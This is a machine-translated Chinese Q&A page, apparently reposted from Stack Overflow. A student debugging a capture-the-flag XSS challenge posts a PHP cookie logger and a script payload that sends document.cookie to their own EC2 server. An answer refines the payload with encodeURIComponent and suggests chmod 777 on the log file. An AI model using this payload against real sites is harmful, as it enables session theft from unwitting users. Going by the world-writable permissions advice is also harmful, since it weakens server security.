[英]Variable won't be passed to PHP through URL
我正在執行此持久性跨站點腳本挑戰作業,我們應該通過useragent注入來竊取cookie。 可以在此頁面上找到有關此挑戰的更多詳細信息(基本41) :
背景:
由於此挑戰是在玩具網站上進行的,因此該網站模擬了受害者在為我們查看頁面。 我們需要做的是將代碼注入到挑戰頁面服務器,並通過該代碼竊取受害者的cookie,並將這些cookie發送到我們自己設置的Web服務器。 成功收集受害者的Cookie之后,我們可以將自己的Cookie設置為這些值以應對挑戰。
到目前為止,我做了什么:
在aws ec2
上設置Web服務器。 我相信這是centos,但由於無法安裝centos-release軟件包或類似的東西而找不到更多的發行信息。 我只能找到: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
。 入站規則設置為ssh
端口22和http
端口80。 httpd,mysql,php已安裝並經過測試工作。 /var/www/http
下的index.html
文件在瀏覽器中正常顯示。
將cookie_stealer.php
放在/var/www/http
我的cookie_stealer.php
代碼:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
到目前為止,我已經成功注入了代碼,但是document.cookie
的值不會傳遞到我的php文件中。 因此,我目前專注於這個問題。
我正在測試如何通過url測試將變量傳遞給php:
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
有趣的是,在$_GET['c']
行之后, $_GET['c']
下行添加到我的php文件中之后:
echo 'Cookie: ' . $cookie . "\r\n";
c
的值可以以ahhh
顯示在網頁上,但不會寫入log.txt
。 log.txt
僅記錄以下內容:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
c
傳遞到服務器上的$cookie
,為什么在顯示ahhh
的網頁上,該三元運算符總是返回'There is no variable c'
。 誰能告訴我為什么會這樣,或者我還能在哪里看? 任何提示將不勝感激! 您可能需要更改文件許可權才能寫入該日志文件。 試試: chmod -R 777 log.txt
我的第一個想法是:
您可能需要URL附加cookie文本。 可能其中有一些東西破壞了您的URL請求。
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
然后,在PHP中,您可能必須解碼,也可以不必解碼,如果可以,可以這樣做:
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
例如,您的教練我已經在其中插入#
號或其他符號。 我不能肯定地說,因為我從未通過查詢參數發送過cookie,但是我不認為它們會以這種方式發送。
無論如何,這太多了,請發表評論,希望對您有所幫助!
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.